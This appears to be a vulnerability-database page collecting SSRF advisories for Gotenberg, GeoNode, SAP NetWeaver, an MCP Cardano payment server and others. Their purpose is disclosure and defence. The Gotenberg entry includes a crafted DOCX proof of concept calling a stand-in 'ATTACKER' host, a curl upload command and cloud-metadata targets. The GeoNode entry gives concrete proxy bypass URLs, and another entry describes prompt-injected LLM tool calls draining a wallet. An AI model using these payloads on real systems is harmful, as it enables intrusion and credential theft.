Accept-Encoding: deflate, gzip, br, zstd

3 requests total (OPTIONS + 2x GET) from a single conversion. Tested against gotenberg/gotenberg:8.31.0.

Impact

LibreOffice makes full GET requests, so response data can be exfiltrated through the generated PDF:

  • Hit internal services — localhost, 10.x, 192.168.x, whatever the container can reach
  • Grab cloud metadata at http://169.254.169.254/ (AWS/GCP/Azure IAM creds)
  • Port scan the internal network via response timing
  • The v8.31.0 SSRF hardening doesn't help here at all — it only covers Go HTTP calls, not LibreOffice's own connections

Anything LibreOffice opens that can carry external refs is affected: .docx, .docm, .xlsx, .xlsm, .pptx, .pptm, .odt, .ods, .odp, .rtf.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "8.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:57:03Z",
    "nvd_published_at": "2026-05-14T16:16:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe SSRF hardening shipped in v8.31.0 only covers outbound URLs that Gotenberg\u0027s Go code handles \u2014 Chromium asset fetches, webhook delivery, and download-from. The LibreOffice conversion endpoint (`/forms/libreoffice/convert`) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters.\n\nThis was verified on v8.31.0 (latest at time of writing) with a crafted DOCX and got 3 outbound HTTP requests from LibreOffice to the canary server used for testing.\n\n### Details\n\nWhen a file is uploaded to `/forms/libreoffice/convert`, the route in `pkg/modules/libreoffice/routes.go` reads form parameters and passes the input file directly to `libreOffice.Pdf()`:\n\n```go\nerr = libreOffice.Pdf(ctx, ctx.Log(), inputPath, outputPaths[i], options)\n```\n\nThere\u0027s no content inspection happening before the file reaches LibreOffice. The SSRF protection in v8.31.0 (`pkg/gotenberg/outbound.go`) wraps Go\u0027s `http.Client` with a custom dialer that resolves URLs and rejects non-public IPs \u2014 but LibreOffice is a separate process that makes its own HTTP connections via libcurl. The Go-level dial hooks can\u0027t intercept that.\n\nOOXML formats like DOCX can embed external image references using `TargetMode=\"External\"` in relationship files. LibreOffice fetches those URLs during PDF conversion.\n\n**Suggested fix:** Run LibreOffice with `unshare --net` to drop all network access from the subprocess \u2014 no network namespace means no outbound requests regardless of file format. As defense in depth, scan uploaded OOXML files (which are ZIPs) for `_rels/*.rels` entries with `TargetMode=\"External\"` and validate/strip those URLs before passing the file to LibreOffice.\n\n### PoC\n\nBuild a minimal DOCX with an external image reference. DOCX files are ZIP archives, so you can construct one by hand.\n\n**`word/_rels/document.xml.rels`:**\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e\n\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\n  \u003cRelationship Id=\"rId10\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"http://ATTACKER:9877/ssrf\"\n    TargetMode=\"External\"/\u003e\n\u003c/Relationships\u003e\n```\n\n**`word/document.xml`** (references the external image via `r:link`):\n\n```xml\n\u003cw:drawing\u003e\n  \u003cwp:inline distT=\"0\" distB=\"0\" distL=\"0\" distR=\"0\"\u003e\n    \u003cwp:extent cx=\"914400\" cy=\"914400\"/\u003e\n    \u003cwp:docPr id=\"1\" name=\"Picture 1\"/\u003e\n    \u003ca:graphic\u003e\n      \u003ca:graphicData uri=\"http://schemas.openxmlformats.org/drawingml/2006/picture\"\u003e\n        \u003cpic:pic\u003e\n          \u003cpic:nvPicPr\u003e\n            \u003cpic:cNvPr id=\"1\" name=\"ssrf.png\"/\u003e\n            \u003cpic:cNvPicPr/\u003e\n          \u003c/pic:nvPicPr\u003e\n          \u003cpic:blipFill\u003e\n            \u003ca:blip r:link=\"rId10\"/\u003e\n            \u003ca:stretch\u003e\u003ca:fillRect/\u003e\u003c/a:stretch\u003e\n          \u003c/pic:blipFill\u003e\n          \u003cpic:spPr\u003e\n            \u003ca:xfrm\u003e\n              \u003ca:off x=\"0\" y=\"0\"/\u003e\n              \u003ca:ext cx=\"914400\" cy=\"914400\"/\u003e\n            \u003c/a:xfrm\u003e\n            \u003ca:prstGeom prst=\"rect\"\u003e\u003ca:avLst/\u003e\u003c/a:prstGeom\u003e\n          \u003c/pic:spPr\u003e\n        \u003c/pic:pic\u003e\n      \u003c/a:graphicData\u003e\n    \u003c/a:graphic\u003e\n  \u003c/wp:inline\u003e\n\u003c/w:drawing\u003e\n```\n\nPack into a valid DOCX zip and send:\n\n```sh\ncurl -s -o output.pdf \\\n  http://TARGET:3000/forms/libreoffice/convert \\\n  --form files=@ssrf_test.docx\n```\n\nCanary server immediately shows LibreOffice reaching out:\n\n```\nOPTIONS /GOTENBERG_SSRF HTTP/1.1\nHost: host.docker.internal:9877\nUser-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5\nAccept: */*\nAccept-Encoding: deflate, gzip, br, zstd\n\nGET /GOTENBERG_SSRF HTTP/1.1\nHost: host.docker.internal:9877\nUser-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5\nAccept: */*\nAccept-Encoding: deflate, gzip, br, zstd\n```\n\n3 requests total (OPTIONS + 2x GET) from a single conversion. Tested against `gotenberg/gotenberg:8.31.0`.\n\n### Impact\n\nLibreOffice makes full GET requests, so response data can be exfiltrated through the generated PDF:\n\n- Hit internal services \u2014 localhost, 10.x, 192.168.x, whatever the container can reach\n- Grab cloud metadata at `http://169.254.169.254/` (AWS/GCP/Azure IAM creds)\n- Port scan the internal network via response timing\n- The v8.31.0 SSRF hardening doesn\u0027t help here at all \u2014 it only covers Go HTTP calls, not LibreOffice\u0027s own connections\n\nAnything LibreOffice opens that can carry external refs is affected: `.docx`, `.docm`, `.xlsx`, `.xlsm`, `.pptx`, `.pptm`, `.odt`, `.ods`, `.odp`, `.rtf`.",
  "id": "GHSA-rm4c-xj6x-49mw",
  "modified": "2026-05-14T20:52:17Z",
  "published": "2026-05-07T00:57:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rm4c-xj6x-49mw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42591"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg has a Server-Side Request Forgery (SSRF) Issue"
}

GHSA-RMMQ-9VG2-553M

Vulnerability from github – Published: 2022-05-14 04:01 – Updated: 2022-05-14 04:01
VLAI
Details

The external_request api call in App Studio (millicore) allows server side request forgery (SSRF). An attacker could use this flaw to probe the network internal resources, and access restricted endpoints.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-7553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-29T01:34:00Z",
    "severity": "MODERATE"
  },
  "details": "The external_request api call in App Studio (millicore) allows server side request forgery (SSRF). An attacker could use this flaw to probe the network internal resources, and access restricted endpoints.",
  "id": "GHSA-rmmq-9vg2-553m",
  "modified": "2022-05-14T04:01:31Z",
  "published": "2022-05-14T04:01:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7553"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2674"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2675"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2017-7553"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1478792"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RMP2-7P3X-QQG2

Vulnerability from github – Published: 2024-12-10 03:31 – Updated: 2024-12-10 03:31
VLAI
Details

SAP NetWeaver Administrator(System Overview) allows an authenticated attacker to enumerate accessible HTTP endpoints in the internal network by specially crafting HTTP requests. On successful exploitation this can result in Server-Side Request Forgery (SSRF) which could have a low impact on integrity and confidentiality of data. It has no impact on availability of the application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-54197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-10T01:15:06Z",
    "severity": "HIGH"
  },
  "details": "SAP NetWeaver Administrator(System Overview) allows an authenticated attacker to enumerate accessible HTTP endpoints in the internal network by specially crafting HTTP requests. On successful exploitation this can result in Server-Side Request Forgery (SSRF) which could have a low impact on integrity and confidentiality of data. It has no impact on availability of the application.",
  "id": "GHSA-rmp2-7p3x-qqg2",
  "modified": "2024-12-10T03:31:45Z",
  "published": "2024-12-10T03:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54197"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3542543"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RMRP-J9QH-XWH9

Vulnerability from github – Published: 2026-08-09 21:30 – Updated: 2026-08-09 21:30
VLAI
Details

A vulnerability was found in KS-GEN-AI jira-mcp-server 0.2.0. This affects the function axios.get of the file src/index.ts of the component add_attachment_from_public_url. The manipulation of the argument imageUrl results in server-side request forgery. The attack requires a local approach. The project was informed of the problem early through an issue report but has not responded yet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-19369"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-09T21:16:59Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in KS-GEN-AI jira-mcp-server 0.2.0. This affects the function axios.get of the file src/index.ts of the component add_attachment_from_public_url. The manipulation of the argument imageUrl results in server-side request forgery. The attack requires a local approach. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-rmrp-j9qh-xwh9",
  "modified": "2026-08-09T21:30:25Z",
  "published": "2026-08-09T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19369"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KS-GEN-AI/jira-mcp-server/issues/6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KS-GEN-AI/jira-mcp-server"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-19369"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/866267"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/387253"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/387253/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RMXG-6QQF-X8MR

Vulnerability from github – Published: 2024-11-21 22:22 – Updated: 2024-11-21 22:22
VLAI
Summary
GeoNode Server Side Request forgery
Details

Summary

A server side request forgery vuln was found within geonode when testing on a bug bounty program. Server side request forgery allows a user to request information on the internal service/services.

Details

The endpoint /proxy/?url= does not properly protect against SSRF. when using the following format you can request internal hosts and display data. /proxy/?url=http://169.254.169.254\@whitelistedIPhere. This will state wether the AWS internal IP is alive. If you get a 404, the host is alive. A non alive host will not display a response. To display metadata, use a hashfrag on the url /proxy/?url=http://169.254.169.254\@#whitelisteddomain.com or try /proxy/?url=http://169.254.169.254\@%23whitelisteddomain.com

Impact

Port scan internal hosts, and request information from internal hosts.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "geonode"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-40017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-21T22:22:03Z",
    "nvd_published_at": "2023-08-24T23:15:09Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA server side request forgery vuln was found within geonode when testing on a bug bounty program. Server side request forgery allows a user to request information on the internal service/services.\n\n### Details\nThe endpoint /proxy/?url= does not properly protect against SSRF. when using the following format you can request internal hosts and display data. /proxy/?url=http://169.254.169.254\\@whitelistedIPhere. This will state wether the AWS internal IP is alive. If you get a 404, the host is alive. A non alive host will not display a response. To display metadata, use a hashfrag on the url /proxy/?url=http://169.254.169.254\\@#whitelisteddomain.com or try   /proxy/?url=http://169.254.169.254\\@%23whitelisteddomain.com\n\n### Impact\nPort scan internal hosts, and request information from internal hosts.\n",
  "id": "GHSA-rmxg-6qqf-x8mr",
  "modified": "2024-11-21T22:22:03Z",
  "published": "2024-11-21T22:22:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GeoNode/geonode/security/advisories/GHSA-rmxg-6qqf-x8mr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40017"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GeoNode/geonode/commit/a9eebae80cb362009660a1fd49e105e7cdb499b9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GeoNode/geonode"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/geonode/PYSEC-2023-269.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GeoNode Server Side Request forgery"
}

GHSA-RP72-5V5Q-2446

Vulnerability from github – Published: 2026-06-26 21:08 – Updated: 2026-06-26 21:08
VLAI
Summary
@cardano402/mcp-server missing spending limits, LAN-exposed HTTP transport, and SSRF via catalog.server.url
Details

Summary

@cardano402/mcp-server versions <= 0.1.1 ship three security gaps that can lead to unauthorized fund movement when the package is used as designed (an MCP server exposing Cardano payment tools to an

Impact

1. No spending limits on signed payments

An LLM (or prompt-injected LLM) calling tools registered by the MCP server can invoke them in a loop. Each call signs a real Cardano transaction for the catalog-advertised amount. There is no per-call cap, daily ceiling, MCP elicitation/confirmation step, or recipient allowlist. The MAINNET=true env-var guardrail can be bypassed by any LLM with shell-tool access. Worst case: full wallet drain.

2. HTTP transport binds 0.0.0.0 without authentication

cardano402-mcp --transport http listens on all interfaces with no Origin allowlist, no bearer-token requirement, and no CORS check. Anyone on the same LAN can POST MCP tools/call and trigger signed payments from the operator's wallet.

3. SSRF via catalog.server.url

A malicious catalog can declare a server.url pointing at internal infrastructure (e.g. http://169.254.169.254/latest/meta-data). The allowInsecure guard in 0.1.1 only checks the catalog URL itself, not the server.url it returns. endpoint.path is also not normalized, so .. traversal or absolute URLs work.

Patches

Fixed in @cardano402/mcp-server@0.1.2: - Per-call and per-day spending limits (default 5 ADA / 50 ADA) + optional recipient allowlist + MCP elicitation/create confirmation hook. - HTTP transport defaults to 127.0.0.1; non-loopback requires --http-bearer-token; per-request Origin allowlist + bearer check. - catalog.server.url validated against private-CIDR rules (RFC1918, RFC4193, link-local, CGNAT, multicast, IPv4-mapped IPv6, loopback) unless CARDANO402_ALLOW_INSECURE=true. - endpoint.path rejected if it contains .., NUL, whitespace/CRLF, an absolute URL, or //host/.... - Per-tool mainnet opt-in via --mainnet-confirmed-tools.

## Workarounds for 0.1.1 users - Do not run with --transport http on an untrusted network; use --transport stdio (default). - Only point the server at catalogs you control or have audited. - Use a low-balance hot wallet, never your main wallet. - Avoid MAINNET=true until upgraded to 0.1.2.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@cardano402/mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-770",
      "CWE-862",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T21:08:06Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n`@cardano402/mcp-server` versions `\u003c= 0.1.1` ship three security gaps that can lead to unauthorized fund movement when the package is used as designed (an MCP server exposing Cardano payment tools to an\n\n## Impact\n### 1. No spending limits on signed payments\nAn LLM (or prompt-injected LLM) calling tools registered by the MCP server can invoke them in a loop. Each call signs a real Cardano transaction for the catalog-advertised amount. There is no per-call cap, daily ceiling, MCP elicitation/confirmation step, or recipient allowlist. The `MAINNET=true` env-var guardrail can be bypassed by any LLM with shell-tool access. Worst case: full wallet drain.\n\n### 2. HTTP transport binds 0.0.0.0 without authentication\n`cardano402-mcp --transport http` listens on all interfaces with no `Origin` allowlist, no bearer-token requirement, and no CORS check. Anyone on the same LAN can POST MCP `tools/call` and trigger signed payments from the operator\u0027s wallet.\n\n### 3. SSRF via `catalog.server.url`\nA malicious catalog can declare a `server.url` pointing at internal infrastructure (e.g. `http://169.254.169.254/latest/meta-data`). The `allowInsecure` guard in 0.1.1 only checks the catalog URL itself, not the `server.url` it returns. `endpoint.path` is also not normalized, so `..` traversal or absolute URLs work.\n\n## Patches\nFixed in `@cardano402/mcp-server@0.1.2`:\n  - Per-call and per-day spending limits (default 5 ADA / 50 ADA) + optional recipient allowlist + MCP `elicitation/create` confirmation hook.\n  - HTTP transport defaults to `127.0.0.1`; non-loopback requires `--http-bearer-token`; per-request `Origin` allowlist + bearer check.\n  - `catalog.server.url` validated against private-CIDR rules (RFC1918, RFC4193, link-local, CGNAT, multicast, IPv4-mapped IPv6, loopback) unless `CARDANO402_ALLOW_INSECURE=true`.\n  - `endpoint.path` rejected if it contains `..`, NUL, whitespace/CRLF, an absolute URL, or `//host/...`.\n  - Per-tool mainnet opt-in via `--mainnet-confirmed-tools`.\n\n  ## Workarounds for 0.1.1 users\n  - Do not run with `--transport http` on an untrusted network; use `--transport stdio` (default).\n  - Only point the server at catalogs you control or have audited.\n  - Use a low-balance hot wallet, never your main wallet.\n  - Avoid `MAINNET=true` until upgraded to 0.1.2.",
  "id": "GHSA-rp72-5v5q-2446",
  "modified": "2026-06-26T21:08:06Z",
  "published": "2026-06-26T21:08:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MorganOnCode/cardano402/security/advisories/GHSA-rp72-5v5q-2446"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MorganOnCode/cardano402"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@cardano402/mcp-server missing spending limits, LAN-exposed HTTP transport, and SSRF via catalog.server.url"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.